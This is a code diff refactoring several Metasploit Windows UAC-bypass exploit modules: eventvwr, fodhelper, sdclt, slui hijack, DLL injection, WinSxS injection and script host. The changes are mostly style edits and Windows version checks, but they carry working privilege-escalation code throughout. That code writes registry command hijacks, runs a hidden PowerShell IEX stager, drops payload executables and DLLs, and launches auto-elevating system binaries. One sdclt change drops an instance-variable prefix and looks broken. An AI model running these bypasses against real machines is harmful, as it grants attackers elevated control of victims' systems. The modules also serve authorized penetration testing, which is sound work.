EXEC_REG_VAL_TYPE = 'REG_SZ' - EVENTVWR_PATH = "%WINDIR%\\System32\\eventvwr.exe" - EVENTVWR_WOW64_PATH = "%WINDIR%\\SysWOW64\\eventvwr.exe" - PSH_PATH = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + EVENTVWR_DEL_KEY = 'HKCU\\Software\\Classes\\mscfile'.freeze + EVENTVWR_WRITE_KEY = 'HKCU\\Software\\Classes\\mscfile\\shell\\open\\command'.freeze + EXEC_REG_VAL = ''.freeze # This maps to "(Default)" + EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze + EVENTVWR_PATH = '%WINDIR%\\System32\\eventvwr.exe'.freeze + EVENTVWR_WOW64_PATH = '%WINDIR%\\SysWOW64\\eventvwr.exe'.freeze + PSH_PATH = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'.freeze CMD_MAX_LEN = 2081 def initialize(info = {}) @@ -68,7 +68,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win10_1607) Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -85,17 +86,15 @@ def exploit fail_with(Failure::NoTarget, 'Session and Target arch must match') end if sysinfo['Architecture'] == ARCH_X64 - vprint_status("Target is x64") + vprint_status('Target is x64') if session.arch == ARCH_X86 - vprint_status("Detected Target/Session mismatch. Syswow Required.") + vprint_status('Detected Target/Session mismatch. Syswow Required.') registry_view = REGISTRY_VIEW_64_BIT eventvwr_cmd = EVENTVWR_WOW64_PATH end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end # Validate that we can actually do things before we bother @@ -118,7 +117,7 @@ def exploit end payload_value = rand_text_alpha(8) - psh_path = expand_path("#{PSH_PATH}") + psh_path = expand_path(PSH_PATH.to_s) template_path = Rex::Powershell::Templates::TEMPLATE_DIR vprint_status("template_path #{template_path}") psh_payload = Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload.encoded) @@ -126,30 +125,30 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' if existing.empty? registry_createkey(EVENTVWR_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) - cmd_path = expand_path("#{eventvwr_cmd}") + cmd_path = expand_path(eventvwr_cmd.to_s) print_status("Executing payload: #{cmd_path}") result = client.railgun.shell32.ShellExecuteA(nil, 'open', cmd_path, nil, nil, 'SW_HIDE') - if result['return'] > 32 then - print_good("eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.") - Rex::sleep(10) + if result['return'] > 32 + print_good('eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.') + Rex.sleep(10) else print_error("eventvwr.exe execution failed with Error Code: #{result['GetLastError']} - #{result['ErrorMessage']}") end handler(client) - print_status("Cleaning up registry keys ...") + print_status('Cleaning up registry keys ...') if existing.empty? registry_deletekey(EVENTVWR_DEL_KEY, registry_view) else @@ -166,7 +165,7 @@ def check_permissions! admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end unless is_in_admin_group? @@ -177,12 +176,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index ed99a52d8c623..83877a7440948 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze - FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze + FODHELPER_DEL_KEY = 'HKCU\\Software\\Classes\\ms-settings'.freeze + FODHELPER_WRITE_KEY = 'HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command'.freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze - FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze + FODHELPER_PATH = '%WINDIR%\\System32\\fodhelper.exe'.freeze CMD_MAX_LEN = 16383 def initialize(info = {}) @@ -67,7 +67,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled? + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -77,7 +78,7 @@ def check def exploit commspec = '%COMSPEC%' registry_view = REGISTRY_VIEW_NATIVE - psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe' # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 @@ -87,18 +88,16 @@ def exploit if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session - psh_path = "powershell.exe" + psh_path = 'powershell.exe' end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 - psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe' end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end if !payload.arch.empty? && (payload.arch.first != target_arch.first) @@ -137,14 +136,14 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(FODHELPER_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') unless exist_delegate registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end @@ -162,11 +161,11 @@ def exploit # Wait a copule of seconds to give the payload a chance to fire before cleaning up # TODO: fix this up to use something smarter than a timeout? - Rex::sleep(5) + Rex.sleep(5) handler(client) - print_status("Cleaining up registry keys ...") + print_status('Cleaining up registry keys ...') unless exist_delegate registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end @@ -186,7 +185,7 @@ def check_permissions! admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end unless is_in_admin_group? @@ -197,12 +196,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_injection.rb b/modules/exploits/windows/local/bypassuac_injection.rb index 30510aa25d35c..a6c16a5e5d324 100644 --- a/modules/exploits/windows/local/bypassuac_injection.rb +++ b/modules/exploits/windows/local/bypassuac_injection.rb @@ -114,10 +114,8 @@ def bypass_dll_path unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') end - else - if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end ::File.join(path, "bypassuac-#{sysarch}.dll") @@ -131,12 +129,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -185,7 +181,7 @@ def spawn_inject_proc(win_dir) end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll({ :dll_exitprocess => true }) + payload = generate_payload_dll({ dll_exitprocess: true }) print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") @@ -199,13 +195,12 @@ def upload_payload_dll(payload_filepath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (7|8|2008|2012|10)/ - print_good("#{winver} may be vulnerable.") + version_info = get_version_info + # According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md + if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8) + print_good("#{version_info.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.") end if is_uac_enabled? @@ -220,13 +215,13 @@ def validate_environment! def get_file_paths(win_path, payload_filepath) paths = {} - case sysinfo['OS'] - when /Windows (7|2008)/ + version_info = get_version_info + if version_info.win7_or_2008r2? paths[:szElevDll] = 'CRYPTBASE.dll' paths[:szElevDir] = "#{win_path}\\System32\\sysprep" paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep" paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe" - when /Windows (8|2012|10)/ + else paths[:szElevDll] = 'NTWDBLIB.dll' paths[:szElevDir] = "#{win_path}\\System32" # This should be fine to be left blank diff --git a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb index 4d3064c507abc..e0025db8e550c 100644 --- a/modules/exploits/windows/local/bypassuac_injection_winsxs.rb +++ b/modules/exploits/windows/local/bypassuac_injection_winsxs.rb @@ -93,9 +93,9 @@ def exploit # Establish the folder pattern so as to get those folders that match it sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 - targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*' else - targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*' end directoryNames = get_directories(payload_filepath, targetedDirectories) @@ -117,14 +117,12 @@ def bypass_dll_path if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i) fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') else - ::File.join(path, "bypassuac-x86.dll") + ::File.join(path, 'bypassuac-x86.dll') end + elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) + ::File.join(path, 'bypassuac-x64.dll') else - unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i) - fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') - else - ::File.join(path, "bypassuac-x64.dll") - end + fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System') end end @@ -137,12 +135,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] @@ -192,9 +188,9 @@ def spawn_inject_proc(win_dir) end # Upload only one DLL, the rest will be copied into the specific folders - def upload_payload_dll(payload_filepath, directoryNames) + def upload_payload_dll(_payload_filepath, directoryNames) dllPath = "#{directoryNames[0]}\\GdiPlus.dll" - payload = generate_payload_dccw_gdiplus_dll({ :dll_exitprocess => true }) + payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true }) print_status('Uploading the Payload DLL to the filesystem...') begin vprint_status("Payload DLL #{payload.length} bytes long being uploaded...") @@ -212,7 +208,7 @@ def upload_payload_dll(payload_filepath, directoryNames) def copy_payload_dll(directoryNames, dllPath) 1.step(directoryNames.size - 1, 1) do |i| if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false - print_error("Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...") + print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...') end end end @@ -221,13 +217,12 @@ def copy_payload_dll(directoryNames, dllPath) def validate_environment! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? - winver = sysinfo['OS'] - - case winver - when /Windows (8|10)/ - print_good("#{winver} may be vulnerable.") + version = get_version_info + if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) || + (version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019)) + print_good("#{version.product_name} may be vulnerable.") else - fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.") + fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.") end if is_uac_enabled? @@ -245,7 +240,7 @@ def validate_environment! def create_directories(payload_filepath, directoryNames) env_vars = get_envs('TEMP') - print_status("Creating temporary folders...") + print_status('Creating temporary folders...') if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0 fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"") end @@ -261,19 +256,19 @@ def create_directories(payload_filepath, directoryNames) def get_directories(payload_filepath, targetedDirectories) directoryNames = [] findFileDataSize = 592 - maxPath = client.railgun.const("MAX_PATH") + maxPath = client.railgun.const('MAX_PATH') fileNamePadding = 44 hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize) - if hFile['return'] == client.railgun.const("INVALID_HANDLE_VALUE") - fail_with(Failure::Unknown, "Cannot get the targeted directories!") + if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE') + fail_with(Failure::Unknown, 'Cannot get the targeted directories!') end findFileData = hFile['lpFindFileData'] moreFiles = true - until moreFiles == false do + until moreFiles == false fileAttributes = findFileData[0, 4].unpack('V').first - andOperation = fileAttributes & client.railgun.const("FILE_ATTRIBUTE_DIRECTORY") + andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY') if andOperation # Removes the remainder part composed of 'A' of the path and the last null character normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first @@ -287,8 +282,8 @@ def get_directories(payload_filepath, targetedDirectories) end client.railgun.kernel32.FindClose(hFile['return']) - if findNextFile['GetLastError'] != client.railgun.const("ERROR_NO_MORE_FILES") - fail_with(Failure::Unknown, "Cannot get the targeted directories!") + if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES') + fail_with(Failure::Unknown, 'Cannot get the targeted directories!') end directoryNames @@ -330,8 +325,8 @@ def fill_struct_path(path) # When a new session is obtained, it removes the dropped elements (files and folders) def on_new_session(session) - if session.type == 'meterpreter' - session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') + if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi') + session.core.use('stdapi') end remove_dropped_elements(session) end @@ -345,9 +340,9 @@ def remove_dropped_elements(session) sysarch = sysinfo['Architecture'] if sysarch == ARCH_X86 - targetedDirectories = "C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*' else - targetedDirectories = "C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*" + targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*' end directoryNames = get_directories(payload_filepath, targetedDirectories) @@ -366,7 +361,7 @@ def remove_dropped_elements(session) # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\" def remove_dlls(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| - directoryName = dirName.split("\\").last + directoryName = dirName.split('\\').last begin droppedElements.push("#{dirName}\\GdiPlus.dll") @@ -387,7 +382,7 @@ def remove_dlls(session, directoryNames, file_paths, droppedElements) # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\" def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements) directoryNames.each do |dirName| - directoryName = dirName.split("\\").last + directoryName = dirName.split('\\').last begin droppedElements.push(dirName) @@ -427,21 +422,19 @@ def removal_checking(droppedElements) successfullyRemoved = true droppedElements.each do |element| - begin - stat = session.fs.file.stat(element) - if stat - print_error("Unable to delete #{element}!") - successfullyRemoved = false - end - rescue ::Rex::Post::Meterpreter::RequestError => e - vprint_error("Error => #{e.class} - #{e}") + stat = session.fs.file.stat(element) + if stat + print_error("Unable to delete #{element}!") + successfullyRemoved = false end + rescue ::Rex::Post::Meterpreter::RequestError => e + vprint_error("Error => #{e.class} - #{e}") end if successfullyRemoved - print_good("All the dropped elements have been successfully removed") + print_good('All the dropped elements have been successfully removed') else - print_warning("Could not delete some dropped elements! They will require manual cleanup on the target") + print_warning('Could not delete some dropped elements! They will require manual cleanup on the target') end end end diff --git a/modules/exploits/windows/local/bypassuac_sdclt.rb b/modules/exploits/windows/local/bypassuac_sdclt.rb index 2ea0fcdb000f0..b2456fb6bde06 100644 --- a/modules/exploits/windows/local/bypassuac_sdclt.rb +++ b/modules/exploits/windows/local/bypassuac_sdclt.rb @@ -63,7 +63,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe @@ -71,13 +72,11 @@ def check end def write_reg_values(registry_key, payload_pathname) - begin - registry_createkey(registry_key) unless registry_key_exist?(registry_key) - registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") - registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ") - rescue ::Exception => e - print_error(e.to_s) - end + registry_createkey(registry_key) unless registry_key_exist?(registry_key) + registry_setvaldata(registry_key, 'DelegateExecute', '', 'REG_SZ') + registry_setvaldata(registry_key, '', payload_pathname, 'REG_SZ') + rescue ::Exception => e + print_error(e.to_s) end def exploit @@ -104,55 +103,55 @@ def exploit # get directory locations straight win_dir = session.sys.config.getenv('windir') - vprint_status("win_dir = " + win_dir) + vprint_status('win_dir = ' + win_dir) tmp_dir = session.sys.config.getenv('tmp') - vprint_status("tmp_dir = " + tmp_dir) - exploit_dir = win_dir + "\\System32\\" - vprint_status("exploit_dir = " + exploit_dir) - target_filepath = exploit_dir + "sdclt.exe" - vprint_status("exploit_file = " + target_filepath) + vprint_status('tmp_dir = ' + tmp_dir) + exploit_dir = win_dir + '\\System32\\' + vprint_status('exploit_dir = ' + exploit_dir) + target_filepath = exploit_dir + 'sdclt.exe' + vprint_status('exploit_file = ' + target_filepath) # make payload payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe' payload_pathname = tmp_dir + '\\' + payload_name - vprint_status("payload_pathname = " + payload_pathname) - vprint_status("Making Payload") + vprint_status('payload_pathname = ' + payload_pathname) + vprint_status('Making Payload') payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" - vprint_status("reg_command = " + reg_command) + vprint_status('reg_command = ' + reg_command) write_reg_values(@registry_key, reg_command) # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) - vprint_status("Payload Upload Complete") + vprint_status('Payload Upload Complete') - vprint_status("Launching " + target_filepath) + vprint_status('Launching ' + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e print_error("Executing command failed:\n#{e}") end print_warning("This exploit requires manual cleanup of '#{payload_pathname}'") - print_status("Please wait for session and cleanup....") + print_status('Please wait for session and cleanup....') end def cleanup if @registry_key.present? - vprint_status("Removing Registry Changes") + vprint_status('Removing Registry Changes') if @remove_registry_key registry_deletekey(@registry_key) else - registry_deleteval(@registry_key, "DelegateExecute") + registry_deleteval(registry_key, "DelegateExecute") registry_deleteval(@registry_key, '') end - print_status("Registry Changes Removed") + print_status('Registry Changes Removed') end end def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin diff --git a/modules/exploits/windows/local/bypassuac_sluihijack.rb b/modules/exploits/windows/local/bypassuac_sluihijack.rb index 6afed291cb103..728b2c3fceb83 100644 --- a/modules/exploits/windows/local/bypassuac_sluihijack.rb +++ b/modules/exploits/windows/local/bypassuac_sluihijack.rb @@ -11,12 +11,12 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Registry include Post::Windows::Runas - SLUI_DEL_KEY = "HKCU\\Software\\Classes\\exefile".freeze - SLUI_WRITE_KEY = "HKCU\\Software\\Classes\\exefile\\shell\\open\\command".freeze + SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze + SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze EXEC_REG_VAL = ''.freeze # This maps to "(Default)" EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze - SLUI_PATH = "%WINDIR%\\System32\\slui.exe".freeze + SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze CMD_MAX_LEN = 16383 def initialize(info = {}) @@ -68,7 +68,8 @@ def initialize(info = {}) end def check - if sysinfo['OS'] =~ /Windows (8|10)/ && is_uac_enabled? + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909) CheckCode::Appears else CheckCode::Safe @@ -82,7 +83,7 @@ def exploit commspec = 'powershell' registry_view = REGISTRY_VIEW_NATIVE - psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe' # Make sure we have a sane payload configuration if sysinfo['Architecture'] == ARCH_X64 @@ -92,18 +93,16 @@ def exploit if target_arch.first == ARCH_X64 # We can't use absolute path here as # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session - psh_path = "powershell.exe" + psh_path = 'powershell.exe' end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 - psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe' end - else + elsif target_arch.first == ARCH_X64 # if we're on x86, we can't handle x64 payloads - if target_arch.first == ARCH_X64 - fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') - end + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') end if !payload.arch.empty? && (payload.arch.first != target_arch.first) @@ -138,14 +137,14 @@ def exploit psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" - existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || '' exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? if existing.empty? registry_createkey(SLUI_WRITE_KEY, registry_view) end - print_status("Configuring payload and stager registry keys ...") + print_status('Configuring payload and stager registry keys ...') unless exist_delegate registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) end @@ -167,7 +166,7 @@ def exploit handler(client) - print_status("Cleaning up ...") + print_status('Cleaning up ...') unless exist_delegate registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) end @@ -181,7 +180,7 @@ def exploit def check_permissions! unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin @@ -192,12 +191,10 @@ def check_permissions! if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') + elsif admin_group + print_good('Part of Administrators group! Continuing...') else - if admin_group - print_good('Part of Administrators group! Continuing...') - else - fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') - end + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] diff --git a/modules/exploits/windows/local/bypassuac_vbs.rb b/modules/exploits/windows/local/bypassuac_vbs.rb index 44205dcc929aa..b7720eca3f998 100644 --- a/modules/exploits/windows/local/bypassuac_vbs.rb +++ b/modules/exploits/windows/local/bypassuac_vbs.rb @@ -12,32 +12,33 @@ class MetasploitModule < Msf::Exploit::Local include Post::Windows::Priv include Post::Windows::Runas - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', - 'Description' => %q{ - This module will bypass Windows UAC by utilizing the missing .manifest on the script host - cscript/wscript.exe binaries. - }, - 'License' => MSF_LICENSE, - 'Author' => [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)', + 'Description' => %q{ + This module will bypass Windows UAC by utilizing the missing .manifest on the script host + cscript/wscript.exe binaries. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Vozzie', 'Ben Campbell' ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ] - ], - 'DefaultTarget' => 0, - 'References' => - [ + ], + 'DefaultTarget' => 0, + 'References' => [ ['URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html'], ['URL', 'https://github.com/Vozzie/uacscript'] ], - 'DisclosureDate'=> '2015-08-22' - )) - + 'DisclosureDate' => '2015-08-22' + ) + ) end def exploit @@ -52,19 +53,18 @@ def exploit env_vars = get_envs('TEMP', 'WINDIR') case get_uac_level - when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT - fail_with(Failure::NotVulnerable, - "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." - ) - when UAC_DEFAULT - print_good('UAC is set to Default') - print_good('BypassUAC can bypass this setting, continuing...') - when UAC_NO_PROMPT - print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') - 